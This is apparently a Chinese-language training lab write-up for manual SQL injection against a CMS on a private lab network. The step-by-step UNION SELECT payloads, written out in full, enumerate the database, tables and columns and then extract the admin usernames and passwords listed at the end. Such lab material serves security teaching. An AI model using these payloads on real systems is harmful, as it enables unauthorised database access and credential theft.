实验角色 | 操作系统 | IP 地址 | 备注 |
攻击机 | Kali Linux | 192.168.221.132 | |
靶机 | Windows Server 2003 | 192.168.221.130 |
实验需求:
使用手工的方式,用 SQL 注入来获取 CMS 站点的后台管理员用户名和密码
实验步骤:
1. 寻找SQL注入点
(1)GET方式
在URL后加入单引号测试是否存在注入漏洞
报错测试成功
(2)POST方式
在文本框输入的内容后加单引号测试是否存在注入漏洞
报错测试成功
2. 确认注入点的类型
在 URL 后面加上 and 1=1,能够正常访问数据
在 URL 后面加上 and 1=2,查询不到数据
结论:当前注入点为数字型
3. 猜解当前页面查询的字段总数
在 URL 后加上 order by 15,未报错
在 URL 后加上 order by 16,报错
结论:当前页面查询的字段总数为15
4. 查询当前页面中显示了哪些字段
在 URL 后加上 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
结论:当前页面中显示了3,11,8,7,9,12,14,共7个字段
5. 查询当前网站数据库的名称
在 URL 后加上 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15
结论:当前数据库名称为 cms
6. 查询当前数据库中所有表的名称
在 URL 后加上 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(table_name),15 from information_schema.tables where table_schema=database()
7. 查询指定表中所有字段名称
在 URL 后加上 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,group_concat(column_name),15 from information_schema.columns where table_name='cms_users'
8. 查询后台管理员用户名和密码
在 URL 后加上 and 1=2 union select 1,2,username,4,5,6,7,8,9,10,password,12,13,14,15 from cms_users
9. 查询其他管理员用户名和密码
在 URL 后加上 and 1=2 union select 1,2,username,4,5,6,7,8,9,10,password,12,13,14,15 from cms_users limit 1,1
在 URL 后加上 and 1=2 union select 1,2,username,4,5,6,7,8,9,10,password,12,13,14,15 from cms_users limit 2,1
在 URL 后加上 and 1=2 union select 1,2,username,4,5,6,7,8,9,10,password,12,13,14,15 from cms_users limit 3,1
在 URL 后加上 and 1=2 union select 1,2,username,4,5,6,7,8,9,10,password,12,13,14,15 from cms_users limit 4,1
在 URL 后加上 and 1=2 union select 1,2,username,4,5,6,7,8,9,10,password,12,13,14,15 from cms_users limit 5,1,未查询到数据
结果:后台管理员用户名和密码
username | password |
admin | 123456 |
zhuoying | admin123 |
sangfor | 123456 |
zyz1 | 123456 |
zyz111 | 123456 |